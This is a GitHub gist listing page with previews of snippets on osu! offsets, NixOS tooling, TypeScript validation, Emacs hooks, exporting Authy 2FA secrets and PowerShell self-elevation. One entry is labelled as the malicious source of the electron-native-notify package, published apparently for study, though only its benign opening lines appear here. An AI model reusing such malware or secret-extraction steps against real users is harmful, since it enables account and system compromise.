Skip to content

Instantly share code, notes, and snippets.

View ar1a's full-sized avatar

aria ar1a

View GitHub Profile
@smoogipoo
smoogipoo / offsets.md
Last active September 28, 2023 04:52
Master doc on offsets in osu!

Last updated: 2021-07-27

How offsets and latency work

This is the pictorial representation that I'll use to explain how a player's timings could come about:

            hitobject     track latency    beat (track)
               vvv             vvv             vvv
Track: ---------H---T---------H---T---------H---T---------H---T-------------
User: -------------K---S---------K---S---------K---S---------K---S---------
@Dinoxe
Dinoxe / Rafis-skins-s-superanckie-som.md
Last active June 10, 2024 16:37
Rafis osu skins super duper
@Brettm12345
Brettm12345 / nixos-option.sh
Last active February 4, 2021 13:30
nixos-option with fzf
#! /usr/bin/env nix-shell
#! nix-shell -i sh -p jq fzf
OPTION_CACHE="${XDG_CACHE_HOME:-$HOME/.cache}/nixos-options.json"
test -f "$OPTION_CACHE" || {
echo "Building cache..."
cp "$(export NIXPKGS_ALLOW_UNFREE=1; nix-build -Q --no-out-link '<nixpkgs/nixos/release.nix>' -A options)/share/doc/nixos/options.json" "$OPTION_CACHE"
}
OPTION=$(jq -r 'keys | join("\n")' "$OPTION_CACHE" | fzf --height "60%" --preview 'nixos-option {}')
@Brettm12345
Brettm12345 / validate.ts
Created September 20, 2019 08:08
Yup validate function with fp-ts
import { toError } from 'fp-ts/lib/Either';
import { tryCatch } from 'fp-ts/lib/TaskEither';
import { Schema } from 'yup';
const validate = <T extends Schema<any>>(constructor: T) => (input: any) =>
tryCatch<Error, T extends Schema<infer P> ? P : never>(
() => constructor.validate(input),
toError
);
@ievans
ievans / index.js
Created June 6, 2019 17:49
electron-native-notify-1.1.6 malicious source code
const MainProcessNotification = require("electron").Notification;
const isRenderer = process && process.type === "renderer";
const isSupported = () => isRenderer ? "Notification" in window : MainProcessNotification.isSupported();
const renderNotify = (title, body) => {
const notification = new Notification(title, {
body: body
});
return notification
};
try {
@tkrotoff
tkrotoff / FrontendFrameworksPopularity.md
Last active April 9, 2025 13:42
Front-end frameworks popularity (React, Vue, Angular and Svelte)
@blha303
blha303 / gmusicplay.py
Last active April 3, 2018 04:47
Google Music player in the terminal woopwoop | Individual song playback implemented, album support coming soon?
#!/usr/bin/env python3
from gmusicapi import Mobileclient
import os
from json import load
import sys
def mkdir_p(path):
import errno
try:
os.makedirs(path)
@hgiasac
hgiasac / init.el
Last active April 23, 2018 12:34
Emacs TSLint fix file hook
(defun tslint-fix-file ()
"Tslint fix file."
(interactive)
(message (concat "tslint --fixing the file " (buffer-file-name)))
(shell-command (concat "tslint --fix " (buffer-file-name))))
(defun tslint-fix-file-and-revert ()
"Format the current file with TSLint."
@gboudreau
gboudreau / AuthyToOtherAuthenticator.md
Last active April 7, 2025 09:43 — forked from Ingramz/AuthyToOtherAuthenticator.md
Export TOTP tokens from Authy

Exporting your 2FA tokens from Authy to transfer them into another 2FA application

IMPORTANT - Update regarding deprecation of Authy desktop apps

Past August 2024, Authy stopped supported the desktop version of their apps:
See Authy is shutting down its desktop app | The 2FA app Authy will only be available on Android and iOS starting in August for details.

And indeed, after a while, Authy changed something in their backend which now prevents the old desktop app from logging in. If you are already logged in, then you are in luck, and you can follow the instructions below to export your tokens.

If you are not logged in anymore, but can find a backup of the necessary files, then restore those files, and re-install Authy 2.2.3 following the instructions below, and it should work as expected.

@atao
atao / RunAsAdmin.ps1
Last active October 1, 2023 19:34
🕵️ Self privileges escalation with PowerShell.
#Requires -RunAsAdministrator
#OneLine
if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { Start-Process powershell.exe "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs; exit }
#Or
$Loc = Get-Location
"Security.Principal.Windows" | % { IEX "( [ $_`Principal ] [$_`Identity ]::GetCurrent() ).IsInRole( 'Administrator' )" } | ? {
$True | % { $Arguments = @('-NoProfile','-ExecutionPolicy Bypass','-NoExit','-File',"`"$($MyInvocation.MyCommand.Path)`"","\`"$Loc\`"");
Start-Process -FilePath PowerShell.exe -Verb RunAs -ArgumentList $Arguments; } }